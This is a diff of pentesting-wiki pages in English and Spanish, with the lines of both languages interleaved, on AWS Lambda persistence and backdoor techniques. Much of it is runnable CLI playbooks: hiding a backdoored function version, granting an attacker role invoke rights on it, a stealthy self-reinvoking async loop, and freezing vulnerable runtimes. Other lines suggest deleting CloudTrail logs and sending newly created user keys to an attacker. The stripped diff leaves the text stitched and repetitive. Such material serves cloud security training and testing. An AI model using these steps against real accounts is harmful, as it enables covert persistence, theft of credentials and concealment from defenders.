1. Call the API gateway related to the lambda to execute the code
1. Llama al API Gateway relacionado con la Lambda para ejecutar el código
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. This will hide the backdoored code in a previous version
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Select the POST method created and in Actions select **`Deploy API`**
6. Now, when you **call the function via POST your Backdoor** will be invoked
1. Esto ocultará el código backdoored en una versión anterior
4. Ve al API Gateway y **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Fíjate en el :1 final del arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Selecciona el POST method creado y en Actions selecciona **`Deploy API`**
6. Ahora, cuando **call the function via POST your Backdoor** será invocado
### Cron/Event actuator
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
El hecho de que puedas hacer que **las funciones lambda se ejecuten cuando ocurre algo o cuando pasa cierto tiempo** convierte a Lambda en una forma común y útil de obtener persistencia y evitar la detección.\
Aquí tienes algunas ideas para hacer tu **presencia en AWS más sigilosa creando lambdas**.
- Every time a new user is created lambda generates a new user key and send it to the attacker.
- Every time a new role is created lambda gives assume role permissions to compromised users.
- Every time new cloudtrail logs are generated, delete/alter them
- Cada vez que se crea un nuevo usuario una lambda genera una nueva user key y la envía al atacante.
- Cada vez que se crea un nuevo role una lambda otorga permisos de assume role a usuarios comprometidos.
- Cada vez que se generan nuevos logs de CloudTrail, elimínalos/alteralos
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally.
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
{{#endref}}
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
This is stealthier than exposing a Function URL and doesnt change the primary traffic alias.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
{{#endref}}
### Freezing AWS Lambda Runtimes
Un atacante que disponga de permisos lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, y lambda:GetRuntimeManagementConfig puede modificar la runtime management configuration de una función. Este ataque es especialmente efectivo cuando el objetivo es mantener una función Lambda en una versión de runtime vulnerable o preservar compatibilidad con layers maliciosos que podrían ser incompatibles con runtimes más nuevos.
El atacante modifica la runtime management configuration para fijar la versión del runtime:
```bash
# Invoke the function to generate runtime logs
aws lambda invoke \
--function-name $TARGET_FN \
--payload '{}' \
--region us-east-1 /tmp/ping.json
sleep 5
# Freeze automatic runtime updates on function update
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
--update-runtime-on FunctionUpdate \
--region us-east-1
```
Verifica la configuración aplicada:
```bash
aws lambda get-runtime-management-config \
--function-name $TARGET_FN \
--region us-east-1
```
Opcional: fijar a una versión específica del runtime
```bash
# Extract Runtime Version ARN from INIT_START logs
RUNTIME_ARN=$(aws logs filter-log-events \
--log-group-name /aws/lambda/$TARGET_FN \
--filter-pattern "INIT_START" \
--query 'events[0].message' \
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
```
Fijar a una versión específica del runtime:
```bash
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
--update-runtime-on Manual \
--runtime-version-arn $RUNTIME_ARN \
--region us-east-1
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,46 +1,42 @@
# AWS - Abusing Lambda Extensions
# AWS - Abusando de las Extensiones de Lambda
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda Extensions
## Extensiones de Lambda
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
Las extensiones de Lambda mejoran las funciones al integrarse con varias **herramientas de monitoreo, observabilidad, seguridad y gobernanza**. Estas extensiones, añadidas a través de [.zip archives usando capas de Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) o incluidas en [despliegues de imágenes de contenedor](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operan en dos modos: **interno** y **externo**.
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
- **Extensiones internas** se fusionan con el proceso de ejecución, manipulando su inicio utilizando **variables de entorno específicas del lenguaje** y **scripts envolventes**. Esta personalización se aplica a una variedad de entornos de ejecución, incluyendo **Java Correto 8 y 11, Node.js 10 y 12, y .NET Core 3.1**.
- **Extensiones externas** se ejecutan como procesos separados, manteniendo la alineación de operación con el ciclo de vida de la función Lambda. Son compatibles con varios entornos de ejecución como **Node.js 10 y 12, Python 3.7 y 3.8, Ruby 2.5 y 2.7, Java Corretto 8 y 11, .NET Core 3.1**, y **entornos de ejecución personalizados**.
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
Para más información sobre [**cómo funcionan las extensiones de lambda, consulta la documentación**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
### External Extension for Persistence, Stealing Requests & modifying Requests
### Extensión Externa para Persistencia, Robo de Solicitudes y Modificación de Solicitudes
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
Este es un resumen de la técnica propuesta en esta publicación: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapids heap memory, by design.**
Se encontró que el kernel de Linux por defecto en el entorno de ejecución de Lambda está compilado con llamadas al sistema “**process_vm_readv**” y “**process_vm_writev**”. Y todos los procesos se ejecutan con el mismo ID de usuario, incluso el nuevo proceso creado para la extensión externa. **Esto significa que una extensión externa tiene acceso completo de lectura y escritura a la memoria heap de Rapid, por diseño.**
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
Además, aunque las extensiones de Lambda tienen la capacidad de **suscribirse a eventos de invocación**, AWS no revela los datos en bruto a estas extensiones. Esto asegura que **las extensiones no pueden acceder a información sensible** transmitida a través de la solicitud HTTP.
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
El proceso Init (Rapid) monitorea todas las solicitudes API en [http://127.0.0.1:9001](http://127.0.0.1:9001/) mientras las extensiones de Lambda son inicializadas y ejecutadas antes de la ejecución de cualquier código de tiempo de ejecución, pero después de Rapid.
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
La variable **`AWS_LAMBDA_RUNTIME_API`** indica la **IP** y el **número de puerto** de la API de Rapid a **los procesos de tiempo de ejecución hijo** y extensiones adicionales.
> [!WARNING]
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
> Al cambiar la variable de entorno **`AWS_LAMBDA_RUNTIME_API`** a un **`puerto`** al que tengamos acceso, es posible interceptar todas las acciones dentro del tiempo de ejecución de Lambda (**man-in-the-middle**). Esto es posible porque la extensión se ejecuta con los mismos privilegios que Rapid Init, y el kernel del sistema permite la **modificación de la memoria del proceso**, lo que habilita la alteración del número de puerto.
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
Debido a que **las extensiones se ejecutan antes de cualquier código de tiempo de ejecución**, modificar la variable de entorno influirá en el proceso de tiempo de ejecución (por ejemplo, Python, Java, Node, Ruby) a medida que se inicia. Además, **las extensiones cargadas después** de la nuestra, que dependen de esta variable, también se enrutarán a través de nuestra extensión. Esta configuración podría permitir que el malware eluda completamente las medidas de seguridad o las extensiones de registro directamente dentro del entorno de tiempo de ejecución.
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
La herramienta [**lambda-spy**](https://github.com/clearvector/lambda-spy) fue creada para realizar esa **escritura de memoria** y **robar información sensible** de las solicitudes de lambda, otras **solicitudes de extensiones** e incluso **modificarlas**.
## References
## Referencias
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,88 @@
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
{{#include ../../../../banners/hacktricks-training.md}}
## Resumen
Crea una versión oculta de Lambda con la lógica del attacker y aplica una resource-based policy a esa versión específica (o alias) usando el parámetro `--qualifier` en `lambda add-permission`. Concede solo `lambda:InvokeFunction` sobre `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a un attacker principal. Las invocaciones normales mediante el nombre de la función o el alias principal no se ven afectadas, mientras que el attacker puede invocar directamente el ARN de la versión con backdoor.
Esto es más sigiloso que exponer un Function URL y no cambia el alias de tráfico principal.
## Required Permissions (attacker)
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
- `lambda:AddPermission` (to add version-scoped resource policy)
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
## Pasos de ataque (CLI)
<details>
<summary>Publicar versión oculta, añadir permiso limitado por qualifier, invocar como attacker</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
# 1) Build a small backdoor handler and publish as a new version
cat > bdoor.py <<PY
import json, os, boto3
def lambda_handler(e, c):
ident = boto3.client(sts).get_caller_identity()
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
PY
zip bdoor.zip bdoor.py
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
echo "Published version: $VER ($VER_ARN)"
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
ATTACK_ROLE_NAME=ht-version-invoker
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
cat > /tmp/invoke-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": ["$VER_ARN"]
}]
}
POL
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
# Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission \
--function-name "$TARGET_FN" \
--qualifier "$VER" \
--statement-id ht-version-backdoor \
--action lambda:InvokeFunction \
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
--region $REGION
# 3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
cat /tmp/ver-out.json
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
```
</details>
## Impacto
- Concede una puerta trasera encubierta para invocar una versión oculta de la función sin modificar el alias principal ni exponer una Function URL.
- Limita la exposición únicamente a la versión/alias especificada mediante la resource-based policy `Qualifier`, reduciendo la superficie de detección mientras mantiene una invocación fiable para el attacker principal.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,95 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
{{#include ../../../../banners/hacktricks-training.md}}
Abusa de los Destinations asíncronos de Lambda junto con la configuración Recursion para hacer que una función se vuelva a invocar continuamente sin un programador externo (no EventBridge, cron, etc.). Por defecto, Lambda termina los bucles recursivos, pero establecer la recursion config en Allow los vuelve a habilitar. Los Destinations entregan en el lado del servicio para async invokes, por lo que una única invocación semilla crea un canal sigiloso de heartbeat/backdoor sin código. Opcionalmente, limita el ritmo con reserved concurrency para mantener bajo el ruido.
Notas
- Lambda no permite configurar la función para que sea su propio destination directamente. Usa un function alias como destination y permite que el execution role invoque ese alias.
- Permisos mínimos: capacidad para leer/actualizar el event invoke config y recursion config de la función objetivo, publicar una versión y gestionar un alias, y actualizar la policy del execution role de la función para permitir lambda:InvokeFunction sobre el alias.
## Requisitos
- Región: us-east-1
- Vars:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## Pasos
1) Obtener el ARN de la función y la configuración actual de Recursion
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) Publicar una versión y crear/actualizar un alias (usado como destino propio)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) Permitir que el rol de ejecución de la función invoque el alias (requerido por Lambda Destinations→Lambda)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) Configure el async destination al alias (self via alias) y desactive los retries
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION
# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
```
5) Permitir bucles recursivos
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) Iniciar una única invocación asíncrona
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) Observar invocaciones continuas (ejemplos)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) Limitación sigilosa opcional
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## Limpieza
Interrumpe el bucle y elimina la persistence.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Impacto
- Una sola invocación asíncrona hace que Lambda se vuelva a invocar continuamente sin un planificador externo, permitiendo persistencia/latido sigiloso. Reserved concurrency puede limitar el ruido a una única ejecución en caliente.
{{#include ../../../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More